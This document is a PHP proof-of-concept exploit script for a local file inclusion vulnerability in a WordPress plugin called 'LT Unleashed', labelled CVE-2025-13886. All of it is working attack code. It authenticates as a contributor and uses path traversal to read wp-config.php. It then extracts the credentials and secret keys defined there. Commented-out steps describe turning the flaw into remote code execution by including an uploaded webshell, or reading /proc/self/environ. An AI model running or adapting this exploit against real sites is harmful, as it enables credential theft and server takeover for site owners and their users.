<?php
// CVE-2025-13886 PoC - LT Unleashed Local File Inclusion
// Requirements: Contributor-level access or higher on WordPress
$target = 'http://target-wordpress-site.com';
$wp_user = 'attacker_username';
$wp_pass = 'attacker_password';
// Authentication
$login_url = "$target/wp-login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'log' => $wp_user,
'pwd' => $wp_pass,
'wp-submit' => 'Log In'
]);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
// Method 1: Read wp-config.php
$exploit_url = "$target/?p=1&template=../../wp-config";
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
echo "[+] Retrieved wp-config.php contents:\n";
if (preg_match_all('/define\s*\(\s*[\'"](.*?)[\'"]\s*,\s*[\'"](.*?)[\'"]\s*\)/', $response, $matches)) {
foreach ($matches[1] as $i => $key) {
echo "$key = " . $matches[2][$i] . "\n";
}
}
// Method 2: Include webshell for RCE (if writable file exists)
// First, upload a file with malicious content, then include it:
// $webshell_url = "$target/?p=1&template=../../uploads/webshell";
// curl_setopt($ch, CURLOPT_URL, $webshell_url);
// $response = curl_exec($ch);
// Method 3: Use /proc/self/environ (in certain shared hosting environments)
// $proc_url = "$target/?p=1&template=/proc/self/environ";
// curl_setopt($ch, CURLOPT_URL, $proc_url);
// $response = curl_exec($ch);
curl_close($ch);
echo "\n[+] Exploitation complete. Check retrieved data for credentials.";
?>